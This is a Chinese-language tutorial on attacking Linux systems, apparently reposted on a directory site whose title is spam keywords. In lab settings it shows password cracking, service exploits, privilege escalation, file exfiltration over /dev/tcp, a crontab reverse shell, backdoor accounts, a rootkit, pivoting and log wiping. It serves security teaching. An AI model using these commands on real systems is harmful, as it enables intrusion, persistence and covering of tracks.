日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

針對linux系統的一些攻擊

一、前言

本系列文檔包括三個部分,分別是《針對Linux系統的攻擊》、《Linux系統安全加固》和《Linux系統入侵排查》。編寫這些文檔的目的,是從攻和防的角度分別對Linux系統相關的安全技術進行介紹,使初級水平的網絡安全從業者對Linux操作系統的脆弱性檢查、安全加固、應急響應等安全服務工作產生更清晰的認識。

 

本文是系列文檔的第一部分,介紹針對Linux系統的攻擊方法。正所謂“未知攻,焉知防”,要掌握Linux系統的安全防護技術,必須了解基本的攻擊技術,知道黑客在攻擊的時候會做哪些事情,才好有針對性地進行防御。

 

二、針對Linux系統進行攻擊

本文所涉及到的針對Linux系統的攻擊方式包括以下這些:

  • 暴力破解
  • 服務漏洞
  • 權限提升
  • 文件傳輸
  • 木馬后門
  • rootkit
  • 端口轉發和socks代理
  • 隱蔽信道
  • 物理攻擊
  • 痕跡清理

下面分別進行介紹。

 

(一)暴力破解

暴力破解在這里主要是針對Linux系統的賬號和口令進行離線攻擊或在線攻擊。

所謂的離線攻擊是指攻擊者拿到了口令文件,也就是/etc/passwd和/etc/shadow文件,在攻擊者本地進行破解。而在線攻擊是指攻擊者遠程對Linux系統的服務如ssh、telnet等進行口令破解,不斷地嘗試登錄,根據服務器返回的信息來判斷正在嘗試的口令是否正確。

 

1. 離線攻擊

離線攻擊所使用的工具有很多,最常用的有兩個,一個是John the ripper,另一個是hashcat。這兩個工具都在kali linux的軟件安裝源里面,所以都可以在線安裝。另外Linux系統管理員也可以使用john the ripper在對Linux系統進行脆弱性檢查的時候確定自己的系統中是否存在弱口令。

 

例子:使用John The Ripper對Ubuntu 1604系統的口令文件進行字典攻擊

//攻擊者在本地安裝john the ripper

apt install john

//下載目標系統的/etc/passwd和/etc/shadow文件到本地 ,使用unshadow合并這兩個文件。unshadow是john軟件包中的一個程序

/usr/sbin/unshadow passwd shadow > /tmp/crack.password.db

//使用默認的口令字典開始破解(/usr/share/john/password.lst)

john /tmp/crack.password.db

Linux系統安全攻防技術

 

可以看到,得到了root和user1用戶的口令。

//也可以指定其它字典文件進行破解

john /tmp/crack.password.db --wordlist /word/list/file

 

2. 在線攻擊

Linux平臺用于遠程破解口令的軟件比較常用的有hydra和nmap。

 

例子:使用hydra對本地系統進行遠程口令破解

//使用hydra,通過telnet服務對本地的user1用戶的口令進行破解,指定使用john的口令字典文件

hydra -l user1 -P /usr/share/john/password.lst 127.0.0.1 telnet

-l //指定用戶名,若不知道用戶名澤需要指定用戶名字典

-P //指定口令字典文件

127.0.0.1 //指定目標IP地址

telnet //指定目標服務

Linux系統安全攻防技術

 

破解成功,得到了user1用戶的口令:123456。同樣,root用戶的口令也可以破解出來,這里不再贅述。

 

(二)攻擊服務漏洞

Linux系統中可能部署了各種服務,如果軟件存在漏洞或者服務存在錯誤的配置,則很可能被攻擊者利用。例如NFS服務和samba服務:

NFS:

如果導出資源的范圍過大并且權限過高,則存在風險。例如導出了根文件系統并允許讀寫,則攻擊者可將ssh公鑰寫入ssh授權文件,行程ssh證書后門,實現非授權訪問。

 

samba:

版本:Samba3.x,共享目錄可寫并允許wide links,則攻擊者可以訪問目標主機的根文件系統并得到shell。

 

1. 攻擊NFS服務的漏洞

例子,攻擊者將自己的公鑰文件寫入目標Linux系統(metasploitable 2)的NFS共享

//攻擊者在本地創建臨時目錄

mkdir /tmp/r00t

//在目標服務器的NFS服務存在錯誤配置的情況下,攻擊者將該服務器通過NFS服務共享出來的根目錄掛載到剛創建的臨時目錄

mount -o nolock -t nfs remote_ip:/ /tmp/r00t

//攻擊則會將自己的公鑰文件通過NFS共享寫入到目標主機的ssh授權文件中,這樣就形成了ssh證書后門

cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys

//之后攻擊者即可通過證書訪問目標系統的ssh服務

ssh root@remote_ip

 

2. 攻擊Samba服務的漏洞

例如在metapsloitable2靶機中,samba服務存在漏洞,導致攻擊者可以得到靶機的shell。

use exploit/multi/samba/usermap_script

set rhost remote_ip

exploit

Linux系統安全攻防技術

 

得到shell。

 

(三)權限提升

權限提升的方法很多,主要介紹四種方法:內核漏洞提權、sudo提權、suid提權和capabilities提權。提權的主要目的是實現對目標系統更大程度的控制,提權所使用的技術也可以作為后門來使用。

 

1. 內核漏洞提權

通過內核漏洞進行提權的方法很多,這里介紹臟牛(dirty-cow)漏洞提權。

例子:Linux系統(metasploitable 2)通過臟牛漏洞提權

(1) 獲取源代碼

//登錄目標系統:

ssh user1@target_ip

EXP下載地址:https://github.com/FireFart/dirtycow

 

(2) 提權

//在目標系統中編譯源代碼,生成可執行文件,名為dirty

gcc -pthread dirty.c -o dirty -lcrypt

//運行dirty程序開始提權

./dirty abcd1234 //指定口令

Linux系統安全攻防技術

 

提權的準備已經完成了,可以看到/etc/passwd文件已經變成了二進制文件。接下來就可以切換到root身份了。

su - firefart //切換到firefart用戶,輸入前面設置的口令

Linux系統安全攻防技術

 

從圖中可以看到,用戶的uid為0,提權成功了。

 

2. sudo提權

推薦閱讀:《centos 7系統配置sudo策略(附sudo提權演示)》

https://www.freebuf.com/articles/system/243526.html

該文章介紹了sudo提權的方法。

 

例子:Linux系統(metasploitable 2)通過sudo提升權限

//查看當前用戶允許通過sudo執行的命令

sudo -l

Linux系統安全攻防技術

 

從sudo -l的返回結果來看,系統允許以sudo的方式執行awk、less、vim這三個命令。

 

//sudo awk提權

sudo awk 'BEGIN {system("/bin/bash")}'

Linux系統安全攻防技術

 

sudo awk提權成功,得到了root shell。

 

//sudo less提權

sudo less /etc/lsb-release

Linux系統安全攻防技術

 

在less的底部輸入!/bin/bash,可以看到提權成功,得到了root shell。

 

//sudo vim提權

sudo vim -c '!bash'

Linux系統安全攻防技術

 

提權成功,得到了root shell。

 

3. suid提權

推薦閱讀:《CentOS 7系統利用suid提權獲取Root Shell》

https://www.freebuf.com/articles/system/244627.html

該文章較詳細地介紹了suid提權獲取root shell的方法。

 

例子:Linux系統(metasploitable 2)通過suid程序提升權限

//使用find命令在系統中查找具有suid標志位的文件

find / -perm -u=s -type f 2>/dev/null

假設攻擊者找到了find、nmap、more這三個可執行文件設置了suid,那么下面嘗試進行提權。

 

//使用帶有suid的find命令進行提權

find . -exec /bin/sh -p ; -quit

Linux系統安全攻防技術

 

使用find命令進行提權。查看看到,find命令通過exec參數創建了一個子進程,這個子進程的euid為0,因此這個子進程是一個root shell。

 

//使用帶有suid的nmap命令進行提權

echo "os.execute('/bin/bash -p')" > /tmp/shell.nse

nmap --script=/tmp/shell.nse 127.0.0.1

Linux系統安全攻防技術

 

得到了root shell。這個root shell有個特點,就是看不到輸入的命令,只能看到執行的結果。

 

//使用帶有suid的more命令進行提權

more /etc/profile

//在底行輸入

!/bin/sh -p

Linux系統安全攻防技術

 

可以看到,也得到了root shell。使用more打開的必須是一個在當前屏幕中無法完全顯示的文件,這樣才會出現底行,提示顯示的百分比,攻擊者才能輸入!/bin/sh -p

 

4. capabilities提權

推薦閱讀:Linux系統利用可執行文件的Capabilities實現權限提升

https://www.freebuf.com/articles/system/251182.html

 

capabilities的作用是提供一種與suid相比更細粒度的控制,在執行特權操作的時候,如果進程或線程的euid不是root,那么系統就檢查該線程是否具有該特權操作對應的capability,如果具有,才能執行特權操作。就像是把suid分成了很多份,需要的時候給你其中一份,其它份不給。

 

例如,在安裝wireshark軟件后,默認情況下普通用戶無法對網卡實施抓包操作。這是因為普通用戶不具備抓包操作的權限。

wireshark給出的方法是,將當前用戶加入wireshark組:

Linux系統安全攻防技術

 

但是也可以為wireshark的抓包程序/usr/bin/dumpcap授予用于抓包操作的capabilities。授予權限之后之后普通用戶就可以進行抓包操作了:

setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

Linux系統安全攻防技術

 

 

例子:Linux系統(CentOS 7)通過帶有capabilities的程序提權

//查找設置了capabilities的程序

getcap -r / 2>/dev/null

Linux系統安全攻防技術

 

首先要在系統中查找設置了capabilities的程序。其中設置了cat_setuid的capability的程序存在提權的可能性。常見的可以通過cap_setuid的capability提權的程序包括gdb、perl、Python、php、ruby、rvim、vim、tar等。

 

//通過gdb提權

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

Linux系統安全攻防技術

 

提權成功,得到了root shell。

 

(四)文件傳輸

1. 將文件上傳到目標Linux

例子,使用下面的命令將文件從遠程主機上傳到目標Linux服務器:

 

第一步,遠程主機創建測試文件并監聽端口

echo "get by bash." > bash.sent

nc -l -p 12345 < bash.sent

Linux系統安全攻防技術

 

 

第二步,目標Linux服務器使用bash連接遠程主機并獲取文件

bash -c 'cat < /dev/tcp/192.168.43.237/12345 > bash.get'

Linux系統安全攻防技術

 

文件傳輸成功。

 

2. 從目標Linux系統下載文件

例子,使用下面的命令將目標Linux系統的文件下載到遠程主機:

 

第一步,遠程主機監聽12345端口

nc -l -p 12345 > bash.get

 

第二步,Linux服務器創建測試文件并使用bash將文件傳輸到遠程主機

echo "sent by bash." > bash.sent

bash -c 'cat bash.sent > /dev/tcp/192.168.43.237/12345'

Linux系統安全攻防技術

 

 

第三步,遠程主機查看接收到的文件

Linux系統安全攻防技術

 

文件傳輸成功。

 

(五)木馬后門

后門的種類很多,例如下面這些:

  • uid為0的賬戶
  • crontab后門
  • ssh證書后門
  • ssh服務后門
  • ssh客戶端后門
  • systemd服務后門

推薦閱讀:《Linux系統后門初步研究》

https://www.freebuf.com/articles/system/259494.html

該文章介紹了一些Linux系統后門的創建方法。

在本文檔中,分別對uid為0的賬戶、crontab后門和ssh證書后門進行介紹。

 

1. 創建uid為0的后門賬戶

//創建用戶賬戶,指定賬戶的uid為0

useradd -o -u 0 hack1

//設置口令

passwd hack1

Linux系統安全攻防技術

 

首先在系統中創建一個后門賬戶,該賬戶的uid設置為0,也就是說,創建一個超級用戶。

注意,這個賬戶受到ssh服務配置的影響。如果sshd_config文件中設置PermitRootLogin為no,那么,這個hack1用戶是無法遠程登錄的,雖然他的用戶名不是root。

 

2. 創建crontab后門

//在被攻擊機器上,以root身份編輯crontab

crontab -e -u root

*/1 * * * * /bin/nc -e /bin/bash 192.168.242.1 5555

保存退出

 

//攻擊者監聽本地端口,得到反彈shell

nc -l -p 5555

Linux系統安全攻防技術

 

3. 創建ssh證書后門

//攻擊者創建公私密鑰對

ssh-keygen -t rsa

//攻擊者將公鑰復制到目標主機

ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.242.132

//攻擊者使用證書登錄目標主機

ssh root@192.168.242.132

Linux系統安全攻防技術

 

輸入密鑰短語即可登錄。

這樣即使目標主機更改了root口令,只要證書還在目標主機上,攻擊者就可以遠程登錄。

 

(六)rootkit

1. rootkit是什么?

根據百度百科的解釋,rootkit是一種特殊的惡意軟件,它的功能是在安裝目標上隱藏自身及指定的文件、進程和網絡鏈接等信息,比較多見到的是Rootkit和木馬、后門等其他惡意程序結合使用。也就是說,用rootkit去隱藏木馬所使用的文件、進程、網絡連接等。

 

2. 安裝rootkit

下面我們舉個例子,在CentOS 6.5系統中使用LKM(loadable kernel module)后門adore-ng提升權限、隱藏進程和文件。

首先將adore-ng下載到目標主機,解壓縮,進入解壓縮后的目錄

//編譯

make -j 4

//插入內核模塊。

insmod adore-ng.ko

//將rootkit程序復制到臨時目錄

cp -r /home/user1/adore-ng-master /tmp/

//修改權限

chmod -R 777 /tmp/adore-ng-master

//進入目錄

cd /tmp/adore-ng-master

//查看幫助

./ava

Linux系統安全攻防技術

 

進入/tmp下的adore-ng目錄,運行目錄中的ava,這是一個可執行程序,在不加任何參數的情況下顯示幫助信息。從幫助信息中可以看到,這個軟件可以做以下的事情:

隱藏文件、提權為root、隱藏進程(make PID invisible)。

 

3. 使用rootkit進行提權

/tmp/adore-ng-master/ava r cat /etc/shadow | grep root

Linux系統安全攻防技術

 

user1用戶正常情況下無法查看shadow文件的內容,但是使用adore-ng的ava,就可以實現提權,可以查看shadow文件的內容。如果執行的是/bin/bash,那么可以得到一個root shell。

 

4. 使用rootkit隱藏進程

cd /opt/hack

//查看需要被隱藏的那個進程的源碼。實際上這是一個shell腳本,它的功能是通過無限循環,將This is the virus寫入文件file.txt。

cat hack.sh

Linux系統安全攻防技術

 

//以root身份在后臺運行hask.sh

hack.sh &

Linux系統安全攻防技術

 

hack.sh腳本在后臺運行后,其PID為2734。可以在ps命令的結果中看到這個進程。

 

//應用rootkit的功能,隱藏PID為2734的進程

/tmp/adore-ng-master/ava i 2734

Linux系統安全攻防技術

 

進程隱藏成功,看不到2734進程了,也查不到名稱中含有hack.sh的進程。該進程在ps命令中被隱藏。

 

5. 使用rootkit隱藏文件

//現在我們使用h參數,來隱藏hack.sh所生成的file.txt這個文件。

/tmp/adore-ng-master/ava h file.txt

Linux系統安全攻防技術

 

可以看到,使用ls命令,即使加上用于顯示隱藏文件的-a參數,也看不到file.txt了。

 

(七)轉發和代理

攻擊者入侵linux系統后,可通過修改路由表、設置iptables、部署端口轉發和socks代理軟件等方式,將被入侵系統作為跳板,進一步入侵目標系統所在內網的其它機器。

 

1. 端口轉發

例子,通過設置iptables,將目標Linux系統作為跳板機訪問內網機器(metasploitable 2)

(1) 跳板機操作

//被攻擊系統啟用ip轉發

echo 1 > /proc/sys/net/ipv4/ip_forward

//被攻擊系統創建iptables轉發規則,將去往192.168.1.8的2222端口的數據包轉發到192.168.1.7的22端口

iptables -t nat -A PREROUTING -p tcp -d 192.168.1.8 --dport 2222 -j DNAT --to 192.168.1.7:22

//被攻擊系統啟用地址轉換

iptables -t nat -A POSTROUTING -j MASQUERADE

 

(2) 攻擊者本地操作

//攻擊者訪問被攻擊系統(跳板機)的2222端口

ssh -p 2222 root@192.168.1.8

Linux系統安全攻防技術

 

可以訪問到內網機metasploitable 2的ssh服務。說明端口轉發成功。

 

2. socks代理

推薦閱讀:《內網滲透:使用ew實現socks代理》

https://www.freebuf.com/sectool/234254.html

 

例子,將earthworm作為socks代理使攻擊者訪問內網計算機

場景描述:攻擊者(192.168.1.7)位于外網,無法訪問目標網絡內部的主機。但是攻擊者可以訪問目標網絡中對外暴露的服務器(192.168.1.8),這臺服務器擁有內網IP地址(192.168.56.113),可以訪問內網機器。

攻擊鏈路:攻擊者以服務器(192.168.1.8)為跳板,攻擊內網機器(192.168.56.101)。

攻擊方法如下:

(1) 跳板機操作

//攻擊者以某種手段控制了被攻擊系統后,將ew_for_linux傳到被攻擊系統,并將文件改名。

mv ew_for_linux ew

//在8888端口上開啟socks代理,ssocksd提供正向代理功能

./ew -s ssocksd -l 8888

Linux系統安全攻防技術

 

ew開始監聽端口了。此時被攻擊系統已成為跳板機??梢钥吹浇貓D中當前用戶是root,實際上監聽1024以上的端口無需root權限,普通用戶即可。攻擊者連接到跳板機的8888端口之后,跳板機根據本機的路由表配置,將訪問者的數據包從適當的網口轉發出去。轉發之后,包的源地址會被修改為這個出口的IP地址。

注意,在linux跳板機上轉發數據包,內核的IP轉發功能是需要開啟的。

 

(2) 攻擊者本地運行全局代理

以proxychains為例,說明全局代理的用法:

apt install proxychains //安裝proxychains

vi /etc/proxychains.conf //配置proxychains

將最后一行的socks4注釋掉,添加下面的行,端口為跳板機上的ew監聽的8888:

socks5 192.168.1.8 8888

保存退出

proxychains telnet 192.168.56.101 //通過socks代理訪問目標機

Linux系統安全攻防技術

 

登錄成功。也就是說,只要能訪問到跳板機上ew代理程序的監聽端口,就可以訪問對跳板機來說路由可達的主機。

 

(3) 驗證

在目標機抓包,可以看到訪問者的地址是跳板機的地址(192.168.56.113),也就是說,socks代理的工作是正常的。

Linux系統安全攻防技術

 

 

(八)隱蔽信道

網絡協議信息隱藏(協議隱寫)是一種利用數據包作為掩護載體,將秘密信息隱匿在網絡協議的數據包之中的信息隱藏技術,它可以通過網絡協議數據包中的保留、可選、未定義等字段和數據包的順序、數量、到達時間、特定時間流量以及其它可被利用的特征,在網絡中不同的主機之間建立隱蔽信道。

 

下面舉個例子,使用httptunnel建立基于http協議的隱蔽信道。

1. 服務端啟動監聽

軟件分為服務端(hts)和客戶端(htc)兩部分,分別進行如下的操作以實現隱蔽隧道:

//啟動ssh服務

systemctl start ssh

//服務端程序hts監聽本機的80端口,將接收到的數據轉發給監聽22端口的程序

hts --forward-port localhost:22 80

 

2. 客戶端建立連接

//客戶端將發給本地900端口的數據包轉發到服務端(10.42.0.1)的80端口

htc --forward-port 900 10.42.0.1:80

//客戶端使用ssh程序訪問本地的900端口

ssh user1@127.0.0.1 -p 900

之后可以成功連接10.42.0.1的ssh服務

 

3. 驗證

//在客戶端ssh程序中執行命令,之后在服務器端抓包

tcpdump -i 網絡接口

Linux系統安全攻防技術

 

只抓到了http協議包,沒有抓到ssh協議的任何數據,說明ssh協議數據被成功封裝到了http包中,隱蔽隧道建立成功。

 

(九)物理攻擊

例如在CentOS 7系統中,如果能夠以物理方式訪問服務器,則可以通過下面的方法獲得root權限:

//物理方式關閉服務器,之后打開電源,進入內核選擇界面:

Linux系統安全攻防技術

 

 

//按e鍵,進入編輯模式。

在kernel引導行所在參數行尾添加以下內容init=/bin/sh(注意空格):

Linux系統安全攻防技術

 

修改成:

linux16 /vmlinuz-3.10.0-327.el7.x86_64 root=/dev/mApper/centos-root ro

crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=

en_US.UTF-8 init=/bin/sh

 

//按下ctrl-x,進入單用戶模式:

Linux系統安全攻防技術

 

 

//掛載根分區為可讀寫模式。掛載后即可訪問該系統中的資源了

mount -o remount,rw /

 

//如果想以多用戶模式進入操作系統,可修改root口令

passwd 用戶名

或者創建一個uid為0的賬戶并設置口令

 

//重啟服務器,輸入帳號口令后進入系統。

exec /sbin/reboot

 

(十)痕跡清理

1. 清除命令歷史

//清空用戶的命令歷史文件

echo > ~user1/.bash_history

//清空內存中的歷史列表

history -c

//保留前150行

sed -i '150,$d' .bash_history

 

2. 刪除訪問日志

//清空ssh登錄成功和失敗的日志

echo > /var/log/secure

 

//清除含有自己IP地址的日志

sed -i '/192.168.242.1/d' /var/log/secure

 

3. 修改文件時間

//修改創建時間和訪問時間

touch -d "2019-01-01 08:10:30" /path/to/malware

 

//復制正常文件的時間屬性給攻擊者部署的惡意文件

touch -r /etc/yum.conf /path/to/malware

 

4. 徹底刪除文件

(1) wipe

wipe -rfi private/*

-r:遞歸刪除,-f:強制刪除并禁用確認查詢,-i:顯示擦除進度

 

(2) shred

find ./dir-name -type f -exec shred -zvu -n 3 {} ;

-z:用0覆蓋,-v:顯示操作進度,-u:覆蓋后截斷文件并刪除

-n:指定覆蓋文件內容的次數,默認3次

 

說明

Linux系統中使用rm命令刪除的只是文件的硬鏈接,文件的內容還存放在文件系統中,使用數據恢復軟件就可以將文件恢復出來。攻擊者需要使用特定的安全刪除軟件來徹底地刪除文件。這些安全刪除軟件用0或者隨機數字反復多次地覆蓋被刪除文件所占用的磁盤區域,從而使該文件無法被恢復。

 

三、總結

本文簡單介紹了針對Linux系統的攻擊方法,在下一篇文章中,將介紹防御這些攻擊方法而采取的安全加固

分享到:
標簽:系統安全
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定